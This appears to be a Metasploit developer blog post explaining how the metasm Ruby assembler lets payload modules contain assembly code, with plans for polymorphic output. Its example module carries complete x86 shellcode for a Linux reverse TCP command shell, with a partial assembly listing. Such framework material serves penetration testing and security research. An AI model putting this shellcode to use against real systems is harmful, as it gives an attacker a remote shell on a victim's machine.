Last updated at Wed, 26 Jul 2017 18:06:16 GMT

Thanks to Yoann GUILLOT and Julien TINNES, Metasploit 3.0 (the trunk version) includes integrated support for metasm, a 100% ruby assembler, disassembler, and linker.  It currently supports x86 and MIPS, but support for many other architectures is in development.  Using metasm, we've taken some steps to improve the framework's payload module interface.  This improvement is designed to make it possible for payload modules to contain assembly rather than the typical large blob of pre-assembled machine code.  The interface is meant to be very easy to use as well.

Payload modules encapsulate machine code that is meant to be executed on a target as part of the   exploitation process.  When writing a payload module, the way in which this payload information is conveyed to the framework is through the module's information hash.  The information hash is defined during object initialization   and typically looks something like this:


def initialize(info = {})
super(merge_info(info,
  'Name'          => 'Linux Command Shell, Reverse TCP Inline',
  ...
  'Handler'       => Msf::Handler::ReverseTcp,
  'Session'       => Msf::Sessions::CommandShell,
  'Payload'       =>
   {
      'Offsets' =>
         {
            'LHOST'    => [ 0x1a, 'ADDR' ],
            'LPORT'    => [ 0x20, 'n'    ],
         },
      'Payload' =>
         "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
         "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x7f\x00\x00\x01\x66\x68"
         "\xbf\xbf\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
         "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
         "\x89\xe1\xb0\x0b\xcd\x80"
   }
))
end

For single payloads, the  Payload hash element is used to convey information about the underlying machine code that is to be executed.  For stagers and stages, the hash element is Stager or Stage, respectively.  The actual payload blob is indicated through the Payload sub-hash element and offsets of variables to be subsituted (such as IP address and port) is specified through the Offsets sub-hash element.

Now that we have access to a Ruby assembler, there's no reason we can't make it possible for payload modules to contain assembly rather than raw machine code.  To support this, a new sub-hash element, Assembly, has been created.  If a single, stager, or stage specifies the Assembly hash element, it will instruct the framework to assemble the payload and then cache it (in order to reduce overhead).  The assembled payload is then used as if it were the machine blob specified in the Payload sub-hash.  The Offsets sub-hash element is simply meant to convey the names of variables to be substituted.  The values for the offsets are dynamically calculated by metasm after compilation.  Here's an example of how this might look:


def initialize(info = {})
super(merge_info(info,
    'Name'          => 'Linux Command Shell, Reverse TCP Inline',
...
    'Handler'       => Msf::Handler::ReverseTcp,
    'Session'       => Msf::Sessions::CommandShell,
    'Payload'       =>
       {
          'Offsets' =>
             {
                'LHOST'    => [ 0, 'ADDR' ],
                'LPORT'    => [ 0, 'n'    ],
             },          
          'Assembly' => <<EOS
xor ebx, ebx                  ; @00000000   31db
push ebx                      ; @00000002   53
inc ebx                       ; @00000003   43
...
mov al, 0bh                   ; @00000042   b00b
int 80h                       ; @00000044   cd80
EOS
             }
       ))
end

As metasm gains support for additional architectures, Metasploit modules will be able to implicitly take advantage of it through the interface described above.  One of the cooler things about this feature is that it should be possible to add support to metasm to allow the generation of polymorphic or variant machine code.  Integrating this support at the assembler level is ideal for use within and outside of Metasploit.  This is something we'll keep our eye on for the future.